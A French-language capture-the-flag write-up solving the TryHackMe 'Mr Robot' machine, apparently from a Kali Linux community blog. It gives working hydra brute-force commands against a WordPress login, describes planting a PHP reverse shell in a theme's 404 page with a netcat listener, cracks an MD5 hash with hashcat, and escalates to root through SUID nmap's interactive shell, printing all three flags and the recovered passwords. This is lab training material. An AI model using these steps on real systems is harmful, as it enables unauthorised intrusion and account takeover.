Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux
tryHackme Mr Robot CTF résolution en français

Salut chers amis. En forme j’espère!! Aujourd’hui nous allons passer à un niveau supérieur dans la résolution d’une des machines de Tryhackme. Pour ce faire, nous travaillerons avec la machine Mr Robot CTF.

Nous ferons donc du scan de ports et de l’escalade de privilège avec nmap, du bruteforce avec gobuster pour les répertoires/fichiers d’un site wordpress, hydra pour la connexion à une page d’administration web et hashcat pour cracker un hash.

Mr Robot CTF est une machine avec un niveau de difficulté moyenne. Pour parvenir à nos fins, il nous faudra capturer 3 flags à différents niveaux au cours de la résolution du challenge.

Mr Robot CTF – Reconnaissance

Après le démarrage de la machine nous attendons quelques minutes et nous avons l’adresse ip de la machine, nous commençons par un scan de port avec nmap.

Nous effectuons le scan de port grâce à la commande suivante :

nmap -sC -sV  10.10.47.231

Nous avons le résultat suivant :

D’après ce résultat, nous avons deux ports ouverts, le port pour le http et celui
du https.

Mr Robot CTF – Enumération

Nous allons ensuite utiliser gobuster pour lister les différents répertoires et fichiers au niveau du port http. Gobuster est un outil utilisé pour brute-forcer et rechercher des répertoires/fichiers dans les sites web et les sous-domaines DNS. Nous faisons le scan en spécifiant dans la commande:

  • dir pour spéicifier que le mode du scan est le mode classique brute-force des répertoires
  • -u pour spécifier l’url qui est http://10.10.47.231/ dans notre cas
  • -w pour spécifer la wordlist utilisé qui se trouve dans le répertoire /usr/share/wordlists/dirb/ dans notre cas

Ce qui donne la commande suivante:

gobuster dir -u http://10.10.128.126/ -w /usr/share/wordlists/dirb/common.txt

Après le scan nous avons retenu ces répertoires qui ont attiré notre attention.

Nous commençons par le fichier robots.txt qui nous permet d’avoir le chemin pour le premier flag et ensuite fsocity.dic qui est un dictionnaire.

Le premier flag est : 073403c8a58a1f80d943455fb30724b9.

Nous essayons avec ensuite avec le répertoire wp-login. Nous entrons des identifiants au hasard et nous avons une erreur qui nous permet de conclure qu’avant la validation du mot passe, l’utilisateur doit être valide.

Aussi nous avons conclus que le dictionnaire fournit un peu plus sera celui qu’on va utiliser pour faire du brute-force sur la page. Pour cela nous allons utiliser hydra qui est un cracker de connexion qui prend en charge de nombreux protocoles d’attaque. Nous commençons d’abord par l’identification d’un utilisateur grâce à la commande suivante :

hydra -L fsocity.dic -p test 10.10.47.231 http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=10.10.47.231/wp-admin/&testcookie=1:F=Invalid username"

Comme option nous avons:

  • -L pour spécifier l’utilisateur, dans notre cas sera un dictionnaire
  • -p pour spécifier un mot de passe qui test dans notre cas
  • F pour spécifier le message d’erreur
  • les différents paramètres que nous pouvons voir dans l’onglet network dans le mode développeur du navigateur mozila firefox

Après l’exécution de la commande nous avons le résultats suivant :

[80][http-post-form] host: 10.10.47.231   login: Elliot   password: test

Un utilisateur valide est alors Elliot, nous passont ensuite à la détermination du mot de passe, grâce à la commande ci-après :

hydra -L Elliot -P fsocity.dic 10.10.47.231 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=10.10.47.231/wp-admin/&testcookie=1:S=302"

Le résultats nous permet d’avoir le mot de passe qui est ER28-0652.

[80][http-post-form] host: 10.10.47.231   login: "Elliot"  password: "ER28-0652"

Mr Robot CTF – Exploitation

Ensuite, nous nous sommes connecté à la page d’administration. Maintenant il faut qu’on trouve un moyen d’avoir accès à la machine. Après quelques recherches nous avons décidé de modifier la page d’erreur 404 du thème utilisé par le blog. Nous avons ajouter ce blog de code que nous avons trouvé sur ce site proposant un script pour faire du reverse shell qui est écrit en php.

Ensuite, j’essaie d’accéder à une répertoire inexistant et j’ouvre le port d’écoute sur ma machine avec la commande nc -lvp 4444 . Nous avons ainsi notre shell.

listening on [any] 4444 ...
10.10.47.231: inverse host lookup failed: Unknown host
connect to [10.8.9.70] from (UNKNOWN) [10.10.47.231] 57205
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 11:57:27 up  1:21,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
[email protected]:/$ cd /home/robot

Nous avons trouvé le second flag dans le répertoire home/robot, mais nous n’avons pas les droits pour le lire, aussi nous avons le hash du mot de passe de l’utilisateur robot qui a le droit de lecture sur le fichier.

[email protected]:/home/robot$ ls -al
ls -al
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

Nous allons ensuite cracker cet hash avec hashcat. Pour cracker cet hash nous allons utiliser la wordlist rockyou qu’on extrait de ce répertoire /usr/share/wordlists/rockyou.txt.gz . Pour cracker le hash nous avons utilisés cette commande :

hashcat -m 0 --force rob.hash rockyou.txt

Après l’exécution de la commande, le mot de passe est abcdefghijklmnopqrstuvwxyz. Nous pouvons nous connecter maintenant en tant que robot grâce à la commande su -l robot, ensuite nous obtenons le second flag.

[email protected]:/home/robot$ su -l robot
su -l robot
Password: abcdefghijklmnopqrstuvwxyz 
[email protected]:~$ ls
ls
key-2-of-3.txt	password.raw-md5
[email protected]:~$ cat key	
cat key-2-of-3.txt 
822c73956184f694993bede3eb39f959
[email protected]:~$ 

Mr Robot CTF – Escalade de privilège

Maintenant nous allons passer à l’escalade de privilège. Nous allons exploiter l’autorisation SUID pour faire l’escalade de privilège. Nous recherchons d’abord les binaires qui ont cette autorisation.

[email protected]:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

Parmi les binaires trouvés, nmap est un binaire qu’on peut utiliser. La commande pour le faire est nmap --interactive.

[email protected]:~$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh  
!sh
# cd /root
cd /root
# ls 
ls 
firstboot_done	key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
#

Nous avons ainsi le dernier le flag.

Conclusion

Tout au long de cet article, nous avons utilisé plusieurs outils dont gobuster pour l’énumération des différents fichiers et hydra utilisés dans notre cas pour le bruteforce d’une page d’authentification wordpress. Nous avons également appris à faire de l’escalade de privilège avec nmap.

J’espère que tout comme moi, vous avez trouvé ce challenge très enrichissant et vous dis donc à bientôt pour encore plus de tuto hacking.

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.